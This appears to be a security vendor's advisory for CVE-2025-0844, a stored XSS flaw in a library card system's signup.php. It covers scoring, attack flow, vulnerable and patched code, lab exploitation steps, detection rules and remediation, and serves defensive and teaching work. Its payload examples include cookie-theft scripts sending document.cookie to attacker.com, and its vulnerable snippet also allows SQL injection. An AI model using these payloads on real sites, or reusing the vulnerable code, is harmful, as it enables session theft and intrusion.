CVE-2025-0844
Executive Summary
CVE-2025-0844 is a stored cross-site scripting (XSS) vulnerability in the needyamin Library Card System version 1.0. The flaw resides in the signup.php file, where user-supplied input for the firstname, lastname, email, borrow, and user_address parameters is not properly sanitized before being stored and later rendered. An attacker can inject arbitrary JavaScript code, which will execute in the context of any administrator or user viewing the affected records. The exploit has been publicly disclosed, and no official patch is available. This vulnerability poses a moderate risk to confidentiality and integrity, as it can be used to steal session cookies, deface pages, or perform phishing attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, a reasonable assessment based on the description is:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – unauthenticated user can trigger.
- User Interaction (UI): None (N) – no user action needed for injection.
- Scope (S): Changed (C) – the injected script can affect other components.
- Confidentiality (C): Low (L) – limited data exposure.
- Integrity (I): Low (L) – limited ability to modify content.
- Availability (A): None (N) – no direct impact on availability.
Estimated CVSS Score: 6.1 (Medium)
Threat Level: Medium – The vulnerability is easy to exploit and publicly known, but the impact is limited to XSS attacks.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (Cross-Site Scripting) in the registration page (signup.php). The application does not sanitize or encode user input before storing it in the database. When an administrator or another user views the list of registered users (likely via an admin panel), the malicious script is executed in their browser.
Attack Flow:
- Attacker navigates to the registration page (
signup.php). - Attacker submits a registration form with malicious JavaScript in one of the vulnerable fields (e.g.,
firstname). - The payload is stored in the database without sanitization.
- An administrator visits the user management page, which retrieves and displays the stored data.
- The browser renders the malicious script, executing it in the admin's session context.
Potential Payloads:
<script>alert('XSS')</script>– simple proof of concept.<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>– cookie theft.<img src=x onerror=alert(1)>– alternative vector.
Vulnerable vs. Patched Code
Vulnerable Code (signup.php):
<?php
// No input sanitization
$firstname = $_POST['firstname'];
$lastname = $_POST['lastname'];
$email = $_POST['email'];
$borrow = $_POST['borrow'];
$user_address = $_POST['user_address'];
$sql = "INSERT INTO users (firstname, lastname, email, borrow, user_address) VALUES ('$firstname', '$lastname', '$email', '$borrow', '$user_address')";
mysqli_query($conn, $sql);
?>
Patched Code (Recommended):
<?php
// Sanitize input using htmlspecialchars
$firstname = htmlspecialchars($_POST['firstname'], ENT_QUOTES, 'UTF-8');
$lastname = htmlspecialchars($_POST['lastname'], ENT_QUOTES, 'UTF-8');
$email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);
$borrow = htmlspecialchars($_POST['borrow'], ENT_QUOTES, 'UTF-8');
$user_address = htmlspecialchars($_POST['user_address'], ENT_QUOTES, 'UTF-8');
// Use prepared statements to prevent SQL injection
$stmt = $conn->prepare("INSERT INTO users (firstname, lastname, email, borrow, user_address) VALUES (?, ?, ?, ?, ?)");
$stmt->bind_param("sssss", $firstname, $lastname, $email, $borrow, $user_address);
$stmt->execute();
?>
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable instance of needyamin Library Card System 1.0 on a local server (e.g., XAMPP or Docker).
- Ensure the registration page is accessible.
Exploitation Steps:
- Open the registration page (
http://target/signup.php). - Submit a registration with the following payload in the
firstnamefield:<script>alert(document.cookie)</script> - Log in as an administrator and navigate to the user management page.
- Observe the JavaScript alert box, confirming XSS.
Advanced Payload (Cookie Theft):
<script>
var img = new Image();
img.src = 'http://attacker.com/steal.php?c=' + document.cookie;
</script>
Blue Team
Detection:
- Monitor web server logs for unusual characters in registration fields (e.g.,
<script>,onerror,onload). - Use WAF rules to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply input validation and output encoding as shown in the patched code.
- Use prepared statements to prevent SQL injection (though not directly related to XSS, it is a common co-occurring issue).
- Regularly update the application or replace it with a maintained alternative.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/signup.phpcontaining<script>tags or event handlers (e.g.,onerror,onload). - Outbound connections from the server to attacker-controlled domains (if cookie theft is attempted).
- HTTP POST requests to
File IOCs:
- Modified
signup.phpfile (if attacker uploads a backdoor). - Suspicious entries in the database
userstable containing JavaScript.
- Modified
Log IOCs:
- Web server logs showing
POST /signup.phpwith parameters containing%3Cscript%3E(URL-encoded<script>).
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_0844_XSS_Payload {
meta:
description = "Detects XSS payloads targeting CVE-2025-0844 in Library Card System"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0844"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /onclick\s*=\s*["']?[^"'\s>]+/is
condition:
any of them
}
Sigma Rule
title: CVE-2025-0844 XSS Attempt on Library Card System
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in HTTP POST requests to signup.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/signup.php'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'onclick='
condition: selection
falsepositives:
- Legitimate use of HTML in user profiles (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-0844 XSS Payload in signup.php"; flow:to_server,established; content:"POST"; http_method; content:"/signup.php"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; pcre:"/onerror\s*=\s*["']?[^"'\s>]+/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the registration page (
signup.php) if not required, or restrict access via.htaccessor firewall rules. - Input Sanitization: Apply
htmlspecialchars()withENT_QUOTESandUTF-8encoding to all user inputs before storing or displaying. - Output Encoding: Ensure all data retrieved from the database is encoded before rendering in HTML.
- Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and only allow trusted sources.
- Web Application Firewall (WAF): Deploy a WAF with rules to block common XSS patterns.
- Update: Monitor the vendor for a patch. If none is provided, consider migrating to a maintained alternative.
Valters IT
Securing Digital Frontiers